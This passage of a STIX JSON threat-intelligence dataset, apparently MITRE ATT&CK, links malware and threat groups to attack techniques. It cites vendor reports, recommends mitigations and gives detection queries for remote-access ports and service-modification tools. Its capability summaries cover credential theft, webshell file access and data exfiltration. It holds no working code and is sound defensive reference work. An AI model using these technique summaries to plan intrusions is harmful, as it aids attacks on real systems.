2014)","relationship_type":"uses","source_ref":"malware--af2ad3b7-ab6a-4807-91fd-51bcaff9acbb","target_ref":"attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--f774b7e4-15c6-42d8-917a-efd8617c0c0f","created":"2022-06-09T19:15:11.322Z","x_mitre_version":"0.1","external_references":[{"source_name":"Palo Alto Unit 42 OutSteel SaintBot February 2022 ","url":"https://unit42.paloaltonetworks.com/ukraine-targeted-outsteel-saintbot/","description":"Unit 42. (2022, February 25). Spear Phishing Attacks Target Organizations in Ukraine, Payloads Include the Document Stealer OutSteel and the Downloader SaintBot. Retrieved June 9, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Saint Bot](https://attack.mitre.org/software/S1018) can run a batch script named `del.bat` to remove any [Saint Bot](https://attack.mitre.org/software/S1018) payload-linked files from a compromise system if anti-analysis or locale checks fail.(Citation: Palo Alto Unit 42 OutSteel SaintBot February 2022 )","modified":"2022-06-09T19:15:11.322Z","relationship_type":"uses","source_ref":"malware--7724581b-06ff-4d2b-b77c-80dc8d53070b","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f77738b8-e17c-4b6b-98fc-ffcc569cc008","type":"relationship","created":"2020-08-24T13:40:23.150Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET PipeMon May 2020","url":"https://www.welivesecurity.com/2020/05/21/no-game-over-winnti-group/","description":"Tartare, M. et al. (2020, May 21). No “Game over” for the Winnti Group. Retrieved August 24, 2020."}],"modified":"2020-08-24T13:40:23.150Z","description":"[PipeMon](https://attack.mitre.org/software/S0501) has used call to LoadLibrary to load its installer. [PipeMon](https://attack.mitre.org/software/S0501) loads its modules using reflective loading or custom shellcode.(Citation: ESET PipeMon May 2020)","relationship_type":"uses","source_ref":"malware--8393dac0-0583-456a-9372-fd81691bca20","target_ref":"attack-pattern--0a5231ec-41af-4a35-83d0-6bdf11f28c65","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f77760d0-35c1-4e91-98b9-2ac57ba183d5","type":"relationship","created":"2021-04-13T13:07:50.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ANSSI Sandworm January 2021","url":"https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf","description":"ANSSI. (2021, January 27). SANDWORM INTRUSION SET CAMPAIGN TARGETING CENTREON SYSTEMS. Retrieved March 30, 2021."}],"modified":"2021-04-13T13:07:50.652Z","description":"[P.A.S. Webshell](https://attack.mitre.org/software/S0598) can upload and download files to and from compromised hosts.(Citation: ANSSI Sandworm January 2021)","relationship_type":"uses","source_ref":"malware--4800d0f9-00aa-47cd-a4d2-92198585b8fd","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f778e7e2-6119-4417-9f30-dfce65f6afe9","created":"2023-05-17T19:18:04.832Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant Suspected Turla Campaign February 2023","description":"Hawley, S. et al. (2023, February 2). Turla: A Galaxy of Opportunity. Retrieved May 15, 2023.","url":"https://www.mandiant.com/resources/blog/turla-galaxy-opportunity"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-05-24T18:35:06.932Z","description":"[KOPILUWAK](https://attack.mitre.org/software/S1075) can conduct basic network reconnaissance on the victim machine with `whoami`, to get user details.(Citation: Mandiant Suspected Turla Campaign February 2023)","relationship_type":"uses","source_ref":"malware--09fcc02f-f9d4-43fa-8609-5e5e186b7103","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f77bdb5c-55c5-4b90-91d1-27c6dc7e811a","created":"2022-03-30T14:26:51.848Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-24T14:31:17.038Z","description":"Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Web Application Firewalls may detect improper inputs attempting exploitation. Web server logs (e.g., `var/log/httpd` or `/var/log/apache` for Apache web servers on Linux) may also record evidence of exploitation.","relationship_type":"detects","source_ref":"x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa","target_ref":"attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f77c9b92-0800-4631-b669-524c8ab23772","type":"relationship","created":"2020-03-27T20:45:20.235Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.us-cert.gov/ncas/alerts/TA17-318A","description":"US-CERT. (2017, November 22). Alert (TA17-318A): HIDDEN COBRA – North Korean Remote Administration Tool: FALLCHILL. Retrieved December 7, 2017.","source_name":"US-CERT FALLCHILL Nov 2017"}],"modified":"2020-03-27T20:45:20.235Z","description":"[FALLCHILL](https://attack.mitre.org/software/S0181) uses fake Transport Layer Security (TLS) to communicate with its C2 server.(Citation: US-CERT FALLCHILL Nov 2017)","relationship_type":"uses","source_ref":"malware--fece06b7-d4b1-42cf-b81a-5323c917546e","target_ref":"attack-pattern--c325b232-d5bc-4dde-a3ec-71f3db9e8adc","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f7800d2b-7eb5-4efe-ac8d-503c187d18ef","type":"relationship","created":"2020-06-25T17:48:41.169Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"SANS Windshift August 2018","url":"https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1554718868.pdf","description":"Karim, T. (2018, August). TRAILS OF WINDSHIFT. Retrieved June 25, 2020."}],"modified":"2020-06-25T17:48:41.169Z","description":"[Windshift](https://attack.mitre.org/groups/G0112) has used e-mail attachments to lure victims into executing malicious code.(Citation: SANS Windshift August 2018)","relationship_type":"uses","source_ref":"intrusion-set--afec6dc3-a18e-4b62-b1a4-5510e1a498d1","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f780f9d8-1baa-41b7-b7a1-acba717df0ab","created":"2019-10-14T16:25:38.695Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-01-02T12:23:09.921Z","description":"Train users to identify aspects of phishing attempts where they're asked to enter credentials into a site that has the incorrect domain for the application they are logging into. Additionally, train users not to run untrusted JavaScript in their browser, such as by copying and pasting code or dragging and dropping bookmarklets.","relationship_type":"mitigates","source_ref":"course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a","target_ref":"attack-pattern--10ffac09-e42d-4f56-ab20-db94c67d76ff","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--f783c5c8-0620-4fb0-9e8f-55df960cf41c","created":"2022-03-30T14:26:51.842Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor for logged network traffic in response to a scan showing both protocol header and body values that may buy and/or steal SSL/TLS certificates that can be used during targeting. Detection efforts may be focused on related behaviors, such as [Web Protocols](https://attack.mitre.org/techniques/T1071/001), [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002), and/or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004).","modified":"2022-04-20T02:47:19.881Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--0dcbbf4f-929c-489a-b66b-9b820d3f7f0e","target_ref":"attack-pattern--19401639-28d0-4c3c-adcc-bc2ba22f6421","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f78542d4-3e7b-4a73-a47e-1fc0a15fbe24","type":"relationship","created":"2020-12-09T21:03:46.482Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Crutch December 2020","url":"https://www.welivesecurity.com/2020/12/02/turla-crutch-keeping-back-door-open/","description":"Faou, M. (2020, December 2). Turla Crutch: Keeping the “back door” open. Retrieved December 4, 2020."}],"modified":"2020-12-22T21:35:02.033Z","description":"[Crutch](https://attack.mitre.org/software/S0538) can exfiltrate data over the primary C2 channel (Dropbox HTTP API).(Citation: ESET Crutch December 2020)","relationship_type":"uses","source_ref":"malware--925a6c52-5cf0-4fec-99de-b0d6917d8593","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f785ff3b-923c-478e-a194-c13c6bdbf071","created":"2024-01-04T21:40:52.950Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Kaspersky ToddyCat June 2022","description":"Dedola, G. (2022, June 21). APT ToddyCat. Retrieved January 3, 2024.","url":"https://securelist.com/toddycat/106799/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-01-05T20:57:54.372Z","description":"[Samurai](https://attack.mitre.org/software/S1099) can encrypt the names of requested APIs and deliver its final payload as a compressed, encrypted and base64 encoded blob.(Citation: Kaspersky ToddyCat June 2022)","relationship_type":"uses","source_ref":"malware--ae91fb8f-5031-4f57-9839-e3be3ed503f0","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f7873bae-95b2-4463-808f-8f9d5c9deb8e","created":"2022-07-29T19:51:00.557Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET RTM Feb 2017","description":"Faou, M. and Boutin, J. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.","url":"https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-18T23:29:31.390Z","description":"[RTM](https://attack.mitre.org/software/S0148) has the ability to remove Registry entries that it created for persistence.(Citation: ESET RTM Feb 2017)","relationship_type":"uses","source_ref":"malware--92ec0cbd-2c30-44a2-b270-73f4ec949841","target_ref":"attack-pattern--d2c4e5ea-dbdf-4113-805a-b1e2a337fb33","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f78a5009-59ec-4ae2-89a0-44b8be49a140","type":"relationship","created":"2020-06-22T19:08:12.265Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Gamaredon June 2020","url":"https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game/","description":"Boutin, J. (2020, June 11). Gamaredon group grows its game. Retrieved June 16, 2020."}],"modified":"2020-06-22T19:08:12.265Z","description":"[Gamaredon Group](https://attack.mitre.org/groups/G0047) has inserted malicious macros into existing documents, providing persistence when they are reopened. [Gamaredon Group](https://attack.mitre.org/groups/G0047) has loaded the group's previously delivered VBA project by relaunching Microsoft Outlook with the /altvba option, once the Application.Startup event is received.(Citation: ESET Gamaredon June 2020)","relationship_type":"uses","source_ref":"intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf","target_ref":"attack-pattern--2c4d4e92-0ccf-4a97-b54c-86d662988a53","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f78a77ca-2a03-4a1f-8404-9adf1e504d48","type":"relationship","created":"2021-06-30T16:13:40.599Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Chaes Nov 2020","url":"https://www.cybereason.com/hubfs/dam/collateral/reports/11-2020-Chaes-e-commerce-malware-research.pdf","description":"Salem, E. (2020, November 17). CHAES: Novel Malware Targeting Latin American E-Commerce. Retrieved June 30, 2021."}],"modified":"2021-08-19T21:57:15.956Z","description":"[Chaes](https://attack.mitre.org/software/S0631) can steal login credentials and stored financial information from the browser.(Citation: Cybereason Chaes Nov 2020)","relationship_type":"uses","source_ref":"malware--77e0ecf7-ca91-4c06-8012-8e728986a87a","target_ref":"attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f78b6600-c123-4b9e-8728-c2a2fcd5c1d8","created":"2022-03-30T14:26:51.865Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-04T18:37:54.470Z","description":"Monitor network data for uncommon data flows that may be related to abuse of [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into a service specifically designed to accept remote connections, such as RDP, telnet, SSH, and VNC.\n\nNote: Network Analysis frameworks such as Zeek can be used to capture, decode, and alert on network service protocols such as SSH and RDP.\n\nAnalytic 1 - Suspicious Protocols\n\nsourcetype=\"netflow\" \n| search dest_port=22 OR dest_port=3389 OR dest_port=5900 OR dest_port=3283 // SSH, RDP, VNC, ARD","relationship_type":"detects","source_ref":"x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a","target_ref":"attack-pattern--54a649ff-439a-41a4-9856-8d144a2551ba","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--f78baa1d-e84a-4f32-a1a4-67972bdd94ea","created":"2022-04-01T02:15:49.913Z","x_mitre_version":"1.0","x_mitre_deprecated":false,"revoked":false,"description":"Train users to only accept 2FA/MFA requests from login attempts they initiated, to review source location of the login attempt prompting the 2FA/MFA requests, and to report suspicious/unsolicited prompts.","modified":"2022-04-15T21:12:24.600Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"mitigates","source_ref":"course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a","target_ref":"attack-pattern--954a1639-f2d6-407d-aef3-4917622ca493","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f78eb569-6e16-4103-bc17-265f2d1b1bb2","type":"relationship","created":"2021-04-13T12:52:16.407Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ANSSI Sandworm January 2021","url":"https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf","description":"ANSSI. (2021, January 27). SANDWORM INTRUSION SET CAMPAIGN TARGETING CENTREON SYSTEMS. Retrieved March 30, 2021."}],"modified":"2021-04-13T12:52:16.407Z","description":"[P.A.S. Webshell](https://attack.mitre.org/software/S0598) can display the /etc/passwd file on a compromised host.(Citation: ANSSI Sandworm January 2021)","relationship_type":"uses","source_ref":"malware--4800d0f9-00aa-47cd-a4d2-92198585b8fd","target_ref":"attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f79947b2-49bc-4658-b93c-3aa9dbf9cd5e","type":"relationship","created":"2020-06-15T20:49:55.573Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Malwarebytes Dyreza November 2015","url":"https://blog.malwarebytes.com/threat-analysis/2015/11/a-technical-look-at-dyreza/","description":"hasherezade. (2015, November 4). A Technical Look At Dyreza. Retrieved June 15, 2020."}],"modified":"2020-06-15T20:49:55.573Z","description":"[Dyre](https://attack.mitre.org/software/S0024) has the ability to identify running services on a compromised host.(Citation: Malwarebytes Dyreza November 2015)","relationship_type":"uses","source_ref":"malware--63c2a130-8a5b-452f-ad96-07cf0af12ffe","target_ref":"attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f79c163a-25c0-4694-b1ca-50ab1eda8651","type":"relationship","created":"2020-05-21T14:55:00.229Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro Tropic Trooper May 2020","url":"https://documents.trendmicro.com/assets/Tech-Brief-Tropic-Trooper-s-Back-USBferry-Attack-Targets-Air-gapped-Environments.pdf","description":"Chen, J.. (2020, May 12). Tropic Trooper’s Back: USBferry Attack Targets Air gapped Environments. Retrieved May 20, 2020."}],"modified":"2020-05-21T14:55:00.229Z","description":"[Tropic Trooper](https://attack.mitre.org/groups/G0081)'s backdoor could list the infected system's installed software.(Citation: TrendMicro Tropic Trooper May 2020)","relationship_type":"uses","source_ref":"intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924","target_ref":"attack-pattern--e3b6daca-e963-4a69-aee6-ed4fd653ad58","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f7a0fd06-a12d-496b-b9d6-0181ab03b7a1","created":"2024-05-17T20:27:33.540Z","revoked":false,"external_references":[{"source_name":"Huntress NPPSPY 2022","description":"Dray Agha. (2022, August 16). Cleartext Shenanigans: Gifting User Passwords to Adversaries With NPPSPY. Retrieved May 17, 2024.","url":"https://www.huntress.com/blog/cleartext-shenanigans-gifting-user-passwords-to-adversaries-with-nppspy"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-17T20:27:33.540Z","description":"[NPPSPY](https://attack.mitre.org/software/S1131) creates a network listener using the misspelled label logincontroll recorded to the Registry key HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\NetworkProvider\\\\Order.(Citation: Huntress NPPSPY 2022)","relationship_type":"uses","source_ref":"tool--0630d1a7-54da-4a48-a6af-eb8a62b13c17","target_ref":"attack-pattern--c9e0c59e-162e-40a4-b8b1-78fab4329ada","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f7a11ad8-80ac-4b0e-8749-102958f57f62","type":"relationship","created":"2020-10-19T19:53:10.862Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-10-19T19:53:10.862Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--fc74ba38-dc98-461f-8611-b3dbf9978e3d","target_ref":"attack-pattern--ae7f3575-0a5e-427e-991b-fe03ad44c754","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f7a49aed-41f9-4fff-b7d5-28cd83671aff","type":"relationship","created":"2022-03-30T14:26:51.832Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.832Z","description":"Monitor for unexpected deletions of user accounts. Windows event logs may designate activity associated with an adversary's attempt to remove an account (ex: Event ID 4726 - A user account was deleted).\r\n\r\nAlerting on these Event IDs may generate a high degree of false positives, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible.","source_ref":"x-mitre-data-component--d6257b8e-869c-41c0-8731-fdca40858a91","target_ref":"attack-pattern--b24e2a20-3b3d-4bf0-823b-1ed765398fb0","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f7a4bc28-8f50-4e9e-9986-b71f21528967","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf","description":"Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.","source_name":"TrendMicro Patchwork Dec 2017"}],"modified":"2019-07-11T13:53:05.613Z","description":"[Patchwork](https://attack.mitre.org/groups/G0040) leveraged the DDE protocol to deliver their malware.(Citation: TrendMicro Patchwork Dec 2017)","relationship_type":"uses","source_ref":"intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0","target_ref":"attack-pattern--232a7e42-cd6e-4902-8fe9-2960f529dd4d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f7a6308b-a588-4410-a234-0d85ae1cccd1","created":"2022-03-30T14:26:51.872Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-20T19:40:51.063Z","description":"Monitor command-line invocations for tools capable of creating or modifying system services (e.g., ```systemctl``` on Linux, ```sc.exe``` on Windows, ```launchctl``` on macOS).\n\nAnalytic 1 - Unusual service modification tools.\n\n sourcetype=command_logs\n| search command IN (\"systemctl\", \"sc\", \"launchctl\")\n","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--d157f9d2-d09a-4efa-bb2a-64963f94e253","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f7a7e19a-7d6b-43ca-91a4-4aab1dbfeecc","created":"2024-05-22T20:09:40.266Z","revoked":false,"external_references":[{"source_name":"SentinelOne Agrius 2021","description":"Amitai Ben & Shushan Ehrlich. (2021, May). From Wiper to Ransomware: The Evolution of Agrius. Retrieved May 21, 2024.","url":"https://assets.sentinelone.com/sentinellabs/evol-agrius"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-22T20:09:40.267Z","description":"[Apostle](https://attack.mitre.org/software/S1133) compiled code is obfuscated in an unspecified fashion prior to delivery to victims.(Citation: SentinelOne Agrius 2021)","relationship_type":"uses","source_ref":"malware--48d96fa0-d027-45aa-a8c3-5d09f65d596d","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f7a8b397-ecf3-456e-a395-568a41048609","type":"relationship","created":"2019-10-03T12:30:34.246Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-08T21:27:49.221Z","description":"Periodically check the integrity of images and containers used in cloud deployments to ensure they have not been modified to include malicious software.","relationship_type":"mitigates","source_ref":"course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8","target_ref":"attack-pattern--4fd8a28b-4b3a-4cd6-a8cf-85ba5f824a7f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f7a90a34-f9ad-45a9-abd2-22a4e27ebdfd","type":"relationship","created":"2021-03-23T20:59:37.299Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Recorded Future RedEcho Feb 2021","url":"https://go.recordedfuture.com/hubfs/reports/cta-2021-0228.pdf","description":"Insikt Group. (2021, February 28). China-Linked Group RedEcho Targets the Indian Power Sector Amid Heightened Border Tensions. Retrieved March 22, 2021."}],"modified":"2021-03-23T20:59:37.299Z","description":"(Citation: Recorded Future RedEcho Feb 2021)","relationship_type":"uses","source_ref":"intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90","target_ref":"malware--ec9e00dd-0313-4d5b-8105-c20aa47abffc","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f7aab529-962c-4bb8-812b-d63e0f8df494","type":"relationship","created":"2020-09-22T20:17:38.785Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Secureworks REvil September 2019","url":"https://www.secureworks.com/research/revil-sodinokibi-ransomware","description":"Counter Threat Unit Research Team. (2019, September 24). REvil/Sodinokibi Ransomware. Retrieved August 4, 2020."}],"modified":"2020-09-22T20:17:38.785Z","description":"[GOLD SOUTHFIELD](https://attack.mitre.org/groups/G0115) has conducted malicious spam (malspam) campaigns to gain access to victim's machines.(Citation: Secureworks REvil September 2019)","relationship_type":"uses","source_ref":"intrusion-set--c77c5576-ca19-42ed-a36f-4b4486a84133","target_ref":"attack-pattern--a62a8db3-f23a-4d8f-afd6-9dbc77e7813b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f7bcd411-995f-41cb-b8ed-c333b0435ed3","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"S2 Grupo TrickBot June 2017","description":"Salinas, M., Holguin, J. (2017, June). Evolution of Trickbot. 